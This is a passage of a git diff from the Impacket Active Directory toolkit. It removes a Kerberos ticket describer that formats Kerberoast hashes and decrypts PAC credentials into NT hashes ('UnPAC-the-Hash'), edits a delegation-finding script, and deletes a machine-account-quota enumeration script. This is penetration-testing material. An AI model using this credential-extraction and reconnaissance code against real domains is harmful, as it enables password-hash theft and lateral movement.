parsed_data['Groups (decoded)'] = groups - - # UserFlags parsing - UserFlags = kerbdata['UserFlags'] - User_Flags_Flags = [] - for flag in User_Flags: - if UserFlags & flag.value: - User_Flags_Flags.append(flag.name) - parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) - parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') - parsed_data['Logon Server'] = kerbdata['LogonServer'] - parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] - - # LogonDomainId parsing - if kerbdata['LogonDomainId'] == b'': - parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'] - else: - parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'].formatCanonical() - - # UserAccountControl parsing - UAC = kerbdata['UserAccountControl'] - UAC_Flags = [] - for flag in USER_ACCOUNT_Codes: - if UAC & flag.value: - UAC_Flags.append(flag.name) - parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) - parsed_data['Extra SID Count'] = kerbdata['SidCount'] - extraSids = [] - - # ExtraSids parsing - for extraSid in kerbdata['ExtraSids']: - sid = extraSid['Sid'].formatCanonical() - attributes = extraSid['Attributes'] - attributes_flags = [] - for flag in SE_GROUP_Attributes: - if attributes & flag.value: - attributes_flags.append(flag.name) - # Group name matching - group_name = MsBuiltInGroups.get(sid, '') - if not group_name and len(sid.split('-')) == 8: - # Try to find an RID match - group_name = MsBuiltInGroups.get(sid.split('-')[-1], '') - if group_name: - group_name = f" {group_name}" - extraSids.append("%s%s (%s)" % (sid, group_name, ', '.join(attributes_flags))) - parsed_data['Extra SIDs'] = extraSids - - # ResourceGroupDomainSid parsing - if kerbdata['ResourceGroupDomainSid'] == b'': - parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'] - else: - parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'].formatCanonical() - - parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] - parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) - parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') - parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus'] - parsed_data['Reserved3'] = kerbdata['Reserved3'] - parsed_tuPAC.append({"LoginInfo": parsed_data}) - - elif infoBuffer['ulType'] == pac.PAC_CLIENT_INFO_TYPE: - clientInfo = pac.PAC_CLIENT_INFO() - clientInfo.fromString(data) - parsed_data = {} - try: - parsed_data['Client Id'] = PACparseFILETIME(clientInfo['ClientId']) - except: - try: - parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) - except Exception as e: - logging.error(e) - parsed_data['Client Name'] = clientInfo['Name'].decode('utf-16-le') - parsed_tuPAC.append({"ClientName": parsed_data}) - - elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO: - upn = pac.UPN_DNS_INFO(data) - # UPN PArsing - UpnLength = upn['UpnLength'] - UpnOffset = upn['UpnOffset'] - UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') - - # DNS Name Parsing - DnsDomainNameLength = upn['DnsDomainNameLength'] - DnsDomainNameOffset = upn['DnsDomainNameOffset'] - DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') - - # Flag parsing - flags = upn['Flags'] - attr_flags = [] - for flag_lib in Upn_Dns_Flags: - if flags & flag_lib.value: - attr_flags.append(flag_lib.name) - parsed_data = {} - parsed_data['Flags'] = f"({flags}) {', '.join(attr_flags)}" - parsed_data['UPN'] = UpnName - parsed_data['DNS Domain Name'] = DnsName - - # Depending on the flag supplied, additional data may be supplied - if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags: - # SamAccountName and Sid is also supplied - upn = pac.UPN_DNS_INFO_FULL(data) - # Sam parsing - SamNameLength = upn['SamNameLength'] - SamNameOffset = upn['SamNameOffset'] - SamName = data[SamNameOffset:SamNameOffset+SamNameLength].decode('utf-16-le') - - # Sid parsing - SidLength = upn['SidLength'] - SidOffset = upn['SidOffset'] - Sid = LDAP_SID(data[SidOffset:SidOffset+SidLength]) # Using LDAP_SID instead of RPC_SID (https://github.com/SecureAuthCorp/impacket/issues/1386) - - parsed_data["SamAccountName"] = SamName - parsed_data["UserSid"] = Sid.formatCanonical() - parsed_tuPAC.append({"UpnDns": parsed_data}) - - elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM: - signatureData = pac.PAC_SIGNATURE_DATA(data) - parsed_data = {} - parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name - parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8') - parsed_tuPAC.append({"ServerChecksum": parsed_data}) - - elif infoBuffer['ulType'] == pac.PAC_PRIVSVR_CHECKSUM: - signatureData = pac.PAC_SIGNATURE_DATA(data) - parsed_data = {} - parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name - # signatureData.dump() - parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8') - parsed_tuPAC.append({"KDCChecksum": parsed_data}) - - elif infoBuffer['ulType'] == pac.PAC_CREDENTIALS_INFO: - # Parsing 2.6.1 PAC_CREDENTIAL_INFO - credential_info = pac.PAC_CREDENTIAL_INFO(data) - parsed_credential_info = {} - parsed_credential_info['Version'] = "(0x%x) %d" % (credential_info.fields['Version'], credential_info.fields['Version']) - credinfo_enctype = credential_info.fields['EncryptionType'] - parsed_credential_info['Encryption Type'] = "(0x%x) %s" % (credinfo_enctype, constants.EncryptionTypes(credential_info.fields['EncryptionType']).name) - if not args.asrep_key: - parsed_credential_info['Encryption Type'] = "" - logging.error('No ASREP key supplied, cannot decrypt PAC Credentials') - parsed_tuPAC.append({"Credential Info": parsed_credential_info}) - else: - parsed_tuPAC.append({"Credential Info": parsed_credential_info}) - newCipher = _enctype_table[credinfo_enctype] - key = Key(credinfo_enctype, unhexlify(args.asrep_key)) - plain_credential_data = newCipher.decrypt(key, 16, credential_info.fields['SerializedData']) - type1 = TypeSerialization1(plain_credential_data) - newdata = plain_credential_data[len(type1) + 4:] - # Parsing 2.6.2 PAC_CREDENTIAL_DATA - credential_data = pac.PAC_CREDENTIAL_DATA(newdata) - parsed_credential_data = {} - parsed_credential_data[' Credential Count'] = credential_data['CredentialCount'] - parsed_tuPAC.append({" Credential Data": parsed_credential_data}) - # Parsing (one or many) 2.6.3 SECPKG_SUPPLEMENTAL_CRED - for credential in credential_data['Credentials']: - parsed_secpkg_supplemental_cred = {} - parsed_secpkg_supplemental_cred[' Package Name'] = credential['PackageName'] - parsed_secpkg_supplemental_cred[' Credential Size'] = credential['CredentialSize'] - parsed_tuPAC.append({" SecPkg Credentials": parsed_secpkg_supplemental_cred}) - # Parsing 2.6.4 NTLM_SUPPLEMENTAL_CREDENTIAL - ntlm_supplemental_cred = pac.NTLM_SUPPLEMENTAL_CREDENTIAL(b''.join(credential['Credentials'])) - parsed_ntlm_supplemental_cred = {} - parsed_ntlm_supplemental_cred[' Version'] = ntlm_supplemental_cred['Version'] - parsed_ntlm_supplemental_cred[' Flags'] = ntlm_supplemental_cred['Flags'] - parsed_ntlm_supplemental_cred[' LmPasword'] = hexlify(ntlm_supplemental_cred['LmPassword']).decode('utf-8') - parsed_ntlm_supplemental_cred[' NtPasword'] = hexlify(ntlm_supplemental_cred['NtPassword']).decode('utf-8') - parsed_tuPAC.append({" NTLM Credentials": parsed_ntlm_supplemental_cred}) - - elif infoBuffer['ulType'] == pac.PAC_DELEGATION_INFO: - delegationInfo = pac.S4U_DELEGATION_INFO(data) - parsed_data = {} - parsed_data['S4U2proxyTarget'] = delegationInfo['S4U2proxyTarget'] - parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data'] - parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8') - parsed_tuPAC.append({"DelegationInfo": parsed_data}) - elif infoBuffer['ulType'] == pac.PAC_ATTRIBUTES_INFO: - # Parsing 2.14 PAC_ATTRIBUTES_INFO - attributeInfo = pac.PAC_ATTRIBUTE_INFO(data) - flags = attributeInfo['Flags'] - attr_flags = [] - for flag_lib in Attributes_Flags: - if flags & flag_lib.value: - attr_flags.append(flag_lib.name) - - parsed_data = { - 'Flags': f"({flags}) {', '.join(attr_flags)}" - } - parsed_tuPAC.append({"Attributes Info": parsed_data}) - elif infoBuffer['ulType'] == pac.PAC_REQUESTOR_INFO: - # Parsing 2.15 PAC_REQUESTOR - requestorInfo = pac.PAC_REQUESTOR(data) - parsed_data = { - 'UserSid': requestorInfo['UserSid'].formatCanonical() - } - parsed_tuPAC.append({"Requestor Info": parsed_data}) - else: - logging.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) - - buff = buff[len(infoBuffer):] - return parsed_tuPAC - - -def generate_kerberos_keys(args): - # copypasta from krbrelayx.py - # Store Kerberos keys - keys = {} - if args.rc4: - keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.rc4) - if args.aes: - if len(args.aes) == 64: - keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aes) - else: - keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aes) - ekeys = {} - for kt, key in keys.items(): - ekeys[kt] = Key(kt, key) - - allciphers = [ - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), - int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) - ] - - # Calculate Kerberos keys from specified password/salt - if args.password or args.hex_pass: - if not args.salt and args.user and args.domain: # https://www.thehacker.recipes/ad/movement/kerberos - if args.user.endswith('$'): - args.salt = "%shost%s.%s" % (args.domain.upper(), args.user.rstrip('$').lower(), args.domain.lower()) - else: - args.salt = "%s%s" % (args.domain.upper(), args.user) - for cipher in allciphers: - if cipher == 23 and args.hex_pass: - # RC4 calculation is done manually for raw passwords - md4 = MD4.new() - md4.update(unhexlify(args.hex_pass)) - ekeys[cipher] = Key(cipher, md4.digest()) - logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) - elif args.salt: - # Do conversion magic for raw passwords - if args.hex_pass: - rawsecret = unhexlify(args.hex_pass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') - else: - # If not raw, it was specified from the command line, assume it's not UTF-16 - rawsecret = args.password - ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) - logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) - else: - logging.debug('Cannot calculate type %s (%d) Kerberos key: salt is None: Missing -s/--salt or (-u/--user and -d/--domain)' % (constants.EncryptionTypes(cipher).name, cipher)) - else: - logging.debug('No password (-p/--password or -hp/--hex_pass supplied, skipping Kerberos keys calculation') - return ekeys - - -def kerberoast_from_ccache(decodedTGS, spn, username, domain): - try: - if not domain: - domain = decodedTGS['ticket']['realm']._value.upper() - else: - domain = domain.upper() - - if not username: - username = "USER" - - username = username.rstrip('$') - - # Copy-pasta from GestUserSPNs.py - if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: - entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( - constants.EncryptionTypes.rc4_hmac.value, username, domain, spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: - entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( - constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: - entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( - constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: - entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( - constants.EncryptionTypes.des_cbc_md5.value, username, domain, spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) - else: - logging.debug('Skipping %s/%s due to incompatible e-type %d' % ( - decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], - decodedTGS['ticket']['enc-part']['etype'])) - return entry - except Exception as e: - raise - logging.debug("Not able to parse ticket: %s" % e) - - -def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC.') - - parser.add_argument('ticket', action='store', help='Path to ticket.ccache') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - - ticket_decryption = parser.add_argument_group() - ticket_decryption.title = 'Ticket decryption credentials (optional)' - ticket_decryption.description = 'Tickets carry a set of information encrypted by one of the target service account\'s Kerberos keys.' \ - '(example: if the ticket is for user:"john" for service:"cifs/service.domain.local", you need to supply credentials or keys ' \ - 'of the service account who owns SPN "cifs/service.domain.local")' - ticket_decryption.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') - ticket_decryption.add_argument('-hp', '--hex-password', dest='hex_pass', action="store", metavar="HEXPASSWORD", help='Hex password of the service account') - ticket_decryption.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') - ticket_decryption.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') - ticket_decryption.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') - ticket_decryption.add_argument('--rc4', action="store", metavar="RC4", help='RC4 KEY (i.e. NT hash)') - ticket_decryption.add_argument('--aes', action="store", metavar="HEXKEY", help='AES128 or AES256 key') - - credential_info = parser.add_argument_group() - credential_info.title = 'PAC Credentials decryption material' - credential_info.description = '[MS-PAC] section 2.6 (PAC Credentials) describes an element that is used to send credentials for alternate security protocols to the client during initial logon.' \ - 'This PAC credentials is typically used when PKINIT is conducted for pre-authentication. This structure contains LM and NT hashes.' \ - 'The information is encrypted using the AS reply key. Attack primitive known as UnPAC-the-Hash. (https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)' - credential_info.add_argument('--asrep-key', action="store", metavar="HEXKEY", help='AS reply key for PAC Credentials decryption') - - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(1) - - args = parser.parse_args() - - if not args.salt: - if args.user and not args.domain: - parser.error('without -s/--salt, and with -u/--user, argument -d/--domain is required to calculate the salt') - elif not args.user and args.domain: - parser.error('without -s/--salt, and with -d/--domain, argument -u/--user is required to calculate the salt') - - if args.domain and not '.' in args.domain: - parser.error('Domain supplied in -d/--domain should be FQDN') - - return args - - -def init_logger(args): - # Init the example's logger theme and debug level - logger.init(args.ts) - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - -def main(): - print(version.BANNER) - args = parse_args() - init_logger(args) - - try: - parse_ccache(args) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - traceback.print_exc() - logging.error(str(e)) - -if __name__ == '__main__': - main() diff --git a/examples/findDelegation.py b/examples/findDelegation.py index eb8a336fa5..db3756043c 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -59,7 +59,6 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__domain = user_domain self.__target = None self.__targetDomain = target_domain - self.__requestUser = cmdLineOptions.user self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey @@ -67,7 +66,6 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost self.__kdcIP = cmdLineOptions.dc_ip self.__kdcHost = cmdLineOptions.dc_host - self.__disabled = cmdLineOptions.disabled if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') @@ -151,18 +149,8 @@ def run(self): raise searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ - "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" - - if self.__disabled: - searchFilter = searchFilter + ")(UserAccountControl:1.2.840.113556.1.4.803:=2)" - else: - searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" - - - if self.__requestUser is not None: - searchFilter += '(sAMAccountName:=%s))' % self.__requestUser - else: - searchFilter += ')' + "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))" try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -182,7 +170,7 @@ def run(self): answers = [] logging.debug('Total of records returned %d' % len(resp)) - + for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue @@ -212,7 +200,7 @@ def run(self): objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: - delegation = 'Constrained w/o Protocol Transition' + delegation = 'Constrained' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) @@ -220,16 +208,12 @@ def run(self): if str(attribute['type']) == 'msDS-AllowedToActOnBehalfOfOtherIdentity': rbcdRights = [] rbcdObjType = [] - searchFilter = "(&(|" + searchFilter = '(&(|' sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0])) for ace in sd['Dacl'].aces: searchFilter = searchFilter + "(objectSid="+ace['Ace']['Sid'].formatCanonical()+")" - if self.__disabled: - searchFilter = searchFilter + ")(UserAccountControl:1.2.840.113556.1.4.803:=2))" - else: - searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" delegUserResp = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'objectCategory'],sizeLimit=999) - for item2 in delegUserResp: if isinstance(item2, ldapasn1.SearchResultEntry) is not True: continue @@ -237,16 +221,16 @@ def run(self): rbcdObjType.append(str(item2['attributes'][1]['vals'][0]).split('=')[1].split(',')[0]) if mustCommit is True: - if int(userAccountControl) & UF_ACCOUNTDISABLE and self.__disabled is not True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights, objType in zip(rbcdRights,rbcdObjType): answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) #print unconstrained + constrained delegation relationships - if delegation in ['Unconstrained', 'Constrained w/o Protocol Transition', 'Constrained w/ Protocol Transition']: + if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: if mustCommit is True: - if int(userAccountControl) & UF_ACCOUNTDISABLE and self.__disabled is not True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights in rightsTo: @@ -271,11 +255,10 @@ def run(self): parser.add_argument('target', action='store', help='domain[/username[:password]]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for retrieving delegation info across trusts.') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-user', action='store', help='Requests data for specific user') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-disabled', action='store_true', help='Query only disabled users') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') diff --git a/examples/machineAccountQuota.py b/examples/machineAccountQuota.py deleted file mode 100644 index 6e24e85bda..0000000000 --- a/examples/machineAccountQuota.py +++ /dev/null @@ -1,340 +0,0 @@ -#!/usr/bin/env python3 -#Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. - -# Description: -# This module will try to get the Machine Account Quota from the domain attribute ms-DS-MachineAccountQuota. -# If the value is superior to 0, it tries to list any computer object created by a user and returns the machine -# name and its creator sAMAccountName and SID. -# -# Author: -# TahiTi -# - -import argparse -import logging -import sys -import ldap3 -import ssl -import traceback -from binascii import unhexlify - -from ldap3.protocol.formatters.formatters import format_sid -import ldapdomaindump -from impacket import version -from impacket.examples import logger, utils -from impacket.examples.utils import parse_credentials -from impacket.ldap import ldap, ldapasn1 -from impacket.smbconnection import SMBConnection -from impacket.spnego import SPNEGO_NegTokenInit, TypesMech - -class GetMachineAccountQuota: - def __init__(self, ldap_server, ldap_session, args): - self.ldap_server = ldap_server - self.ldap_session = ldap_session - - logging.debug('Initializing domainDumper()') - cnf = ldapdomaindump.domainDumpConfig() - cnf.basepath = None - self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) - - def machineAccountQuota(self, maq): - try: - self.ldap_session.search(self.domain_dumper.root, '(objectClass=*)', attributes=['mS-DS-MachineAccountQuota']) - maq = self.ldap_session.entries[0]['mS-DS-MachineAccountQuota'].values[0] - logging.info('MachineAccountQuota: %s' % maq) - return maq - except ldap.LDAPSearchError: - raise - - def maqUsers(self): - self.ldap_session.search(self.domain_dumper.root, '(&(objectCategory=computer)(mS-DS-CreatorSID=*))', attributes=['mS-DS-CreatorSID']) - logging.info("Retrieving non privileged domain users that added a machine account...") - users_sid = [] - if len(self.ldap_session.entries) != 0: - for entry in self.ldap_session.entries: - user_sid = format_sid(entry['mS-DS-CreatorSID'].values[0]) - self.ldap_session.search(self.domain_dumper.root, '(objectSID=%s)' % user_sid, attributes=['objectSID', 'sAMAccountName']) - if user_sid in users_sid: - continue - else: - users_sid.append(user_sid) - logging.info('sAMAccountName : %s' % self.ldap_session.entries[0]['sAMAccountName'].values[0]) - logging.info('User SID : %s ' % user_sid) - else: - logging.info("No non-privileged user added a computer to the domain.") - -def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Retrieve the machine account quota value from the domain.') - - parser.add_argument('identity', action='store', help='domain/username[:password]') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - - group = parser.add_argument_group('authentication') - - group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action='store_true', help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action='store_true', - help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action='store', metavar='hex key', help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' - 'omitted it use the domain part (FQDN) specified in the target parameter') - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(1) - - return parser.parse_args() - -def parse_identity(args): - domain, username, password = utils.parse_credentials(args.identity) - - if domain == '': - logging.critical('Domain should be specified!') - sys.exit(1) - - if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: - from getpass import getpass - logging.info("No credentials supplied, supply password") - password = getpass("Password:") - - if args.aesKey is not None: - args.k = True - - if args.hashes is not None: - lmhash, nthash = args.hashes.split(':') - else: - lmhash = '' - nthash = '' - - return domain, username, password, lmhash, nthash - -def init_logger(args): - #Init the example's logger theme and debug level - logger.init(args.ts) - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - -def get_machine_name(args, domain): - if args.dc_ip is not None: - s = SMBConnection(args.dc_ip, args.dc_ip) - else: - s = SMBConnection(domain, domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % domain) - else: - s.logoff() - return s.getServerName() - -def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, - TGT=None, TGS=None, useCache=True): - from pyasn1.codec.ber import encoder, decoder - from pyasn1.type.univ import noValue - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - :return: True, raises an Exception if error. - """ - - if lmhash != '' or nthash != '': - if len(lmhash) % 2: - lmhash = '0' + lmhash - if len(nthash) % 2: - nthash = '0' + nthash - try: # just in case they were converted already - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) - except TypeError: - pass - - # Importing down here so pyasn1 is not required if kerberos is not used. - from impacket.krb5.ccache import CCache - from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5 import constants - from impacket.krb5.types import Principal, KerberosTime, Ticket - import datetime - - if TGT is not None or TGS is not None: - useCache = False - - target = 'ldap/%s' % target - if useCache: - logging.info('dans la co kerberos la target est : %s' % target) - domain, user, TGT, TGS = CCache.parseFile(domain, user, target) - - # First of all, we need to get a TGT for the user - userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - if TGT is None: - if TGS is None: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, - aesKey, kdcHost) - else: - tgt = TGT['KDC_REP'] - cipher = TGT['cipher'] - sessionKey = TGT['sessionKey'] - - if TGS is None: - serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, - sessionKey) - else: - tgs = TGS['KDC_REP'] - cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] - - # Let's build a NegTokenInit with a Kerberos REQ_AP - - blob = SPNEGO_NegTokenInit() - - # Kerberos - blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - - # Let's extract the ticket from the TGS - tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - # Now let's build the AP_REQ - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = [] - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = domain - seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() - - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 11 - # AP-REQ Authenticator (includes application authenticator - # subkey), encrypted with the application session key - # (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - blob['MechToken'] = encoder.encode(apReq) - - request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', - blob.getData()) - - # Done with the Kerberos saga, now let's get into LDAP - if connection.closed: # try to open connection if closed - connection.open(read_server_info=False) - - connection.sasl_in_progress = True - response = connection.post_send_single_response(connection.send('bindRequest', request, None)) - connection.sasl_in_progress = False - if response[0]['result'] != 0: - raise Exception(response) - - connection.bound = True - - return True - -def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): - user = '%s\\%s' % (domain, username) - connect_to = target - if args.dc_ip is not None: - connect_to = args.dc_ip - if tls_version is not None: - use_ssl = True - port = 636 - tls = 